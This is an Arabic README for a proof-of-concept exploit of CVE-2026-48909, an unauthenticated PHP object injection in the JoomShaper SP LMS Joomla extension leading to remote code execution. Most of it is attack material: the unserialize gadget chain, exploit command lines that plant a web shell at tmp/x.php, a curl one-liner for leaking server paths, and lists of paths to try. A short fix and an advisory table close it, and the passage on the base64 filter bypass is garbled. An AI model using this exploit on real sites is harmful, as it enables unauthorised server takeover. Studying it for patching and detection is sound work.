
استغلال إثبات المفهوم لثغرة CVE-2026-48909: تنفيذ تعليمات برمجية عن بُعد بدون مصادقة عبر حقن كائنات PHP في JoomShaper SP LMS. يتضمن إرشادات للكشف والاستغلال والمعالجة.
تنفيذ أوامر عن بُعد بدون مصادقة عبر حقن كائنات PHP في JoomShaper SP LMS (com_splms) ≤ 4.1.3 لنظام Joomla CMS.
المؤلف: Amin İsayev / Proxima Cyber Security
SP LMS هو إضافة نظام إدارة التعلم الشهيرة لنظام Joomla من JoomShaper، مع أكثر من 100,000 عملية تثبيت. تقوم الإصدارات ≤ 4.1.3 بتمرير ملف تعريف الارتباط lmsOrders مباشرة إلى unserialize() بدون أي تحقق، مما يسمح لمهاجم غير مصادق بحقن كائن PHP خبيث وتحقيق تنفيذ الأوامر عن بُعد عبر سلسلة الأدوات الأصلية في Joomla.
components/com_splms/models/cart.php السطر 28:
$cookie = Factory::getApplication()->input->cookie;
$raw = $cookie->get('lmsOrders', base64_encode(serialize(array())));
$decoded = base64_decode($raw);
$cartItems = unserialize($decoded); // ← untrusted user input
يتم فك ترميز ملف تعريف الارتباط lmsOrders من base64 وتمريره مباشرة إلى unserialize(). يتحكم المهاجم في الكائن الناتج عن إلغاء التسلسل بالكامل.
lmsOrders cookie (attacker-controlled)
└─► unserialize() [cart.php:28]
└─► FormattedtextLogger.__destruct() [Joomla gadget]
└─► initFile() → File::write($path, $format)
└─► PHP code written to disk → RCE
ملاحظة: يتطلب تنفيذ الأوامر عن بُعد (RCE) إصدار Joomla < 5.2.2.
قام إصدار Joomla 5.2.2 بإصلاحFormattedtextLogger.__wakeup()(انظر PR #44428).
لا تزال ثغرة حقن كائنات PHP موجودة في com_splms ≤ 4.1.3 على جميع إصدارات Joomla.
يطبّق Input\Cookie::get() في Joomla فلتر cmd افتراضيًا، مما يزيل + و / و = من قيمة ملف تعريف الارتباط — وهي أحرف موجودة في base64 القياسي. يستخدم الاستغلال ما يلي:
$, _, {, }, \n)=)/ و + من مخرجات base64python3 CVE-2026-48909.py https://target.com
[*] Target : https://target.com
[*] Path : /index.php?option=com_splms&view=cart
[*] Probe : lmsOrders=Tzo4OiJzdGRDbGFzcyI6MDp7fQ==
[VULNERABLE] HTTP 500 on probe vs 200 on benign — unserialize() called on cookie
[!] Update to SP LMS >= 4.1.4 immediately.
python3 CVE-2026-48909_exploit.py https://target.com /var/www/html/tmp/x.php

Shell نشطة على
https://target.com/tmp/x.php?c=id
العثور على مسار الخادم (إذا كان غير معروف):
# cPanel hosting — path leaks from Joomla error pages
curl -sk "https://target.com/administrator/" | grep -oP '\/home\d*\/[^"<\s]+'
# Common paths to try:
# /var/www/html/tmp/x.php
# /home/USER/public_html/tmp/x.php
# /var/www/vhosts/DOMAIN/httpdocs/tmp/x.php
pip install requests
Python 3.10+
lmsOrders وعقّمه قبل إلغاء التسلسل:// Do NOT use unserialize() on user-controlled data
// Use json_encode/json_decode instead
$cartItems = json_decode(base64_decode($raw), true) ?? [];
تم إصدار هذه الأداة لأغراض تعليمية و اختبارات أمنية مصرح بها فقط.
المؤلف غير مسؤول عن أي إساءة استخدام أو ضرر ناتج عن هذا البرنامج.
لا تستخدمها ضد أنظمة لا تملكها أو لا تملك إذنًا كتابيًا صريحًا لاختبارها.
Amin İsayev / Proxima Cyber Security — 2026
| الحقل | التفاصيل |
|---|
| معرف CVE | CVE-2026-48909 |
| GHSA | GHSA-gf8c-xmwj-whrh |
| الإصدارات المتأثرة | SP LMS (com_splms) 1.0.0 – 4.1.3 |
| الإصلاح في | SP LMS ≥ 4.1.4 |
| متطلب Joomla | < 5.2.2 (تم إصلاح سلسلة الأدوات في 5.2.2) |
| CVSS 4.0 | 9.5 حرجة — AV:N/AC:L/AT:P/PR:N/UI:N |
| CWE | CWE-502: إلغاء تسلسل البيانات غير الموثوقة |
| مصادقة مطلوبة | لا شيء |
| تاريخ الإفصاح | 2026-05-26 |
| تاريخ النشر | 2026-06-20 |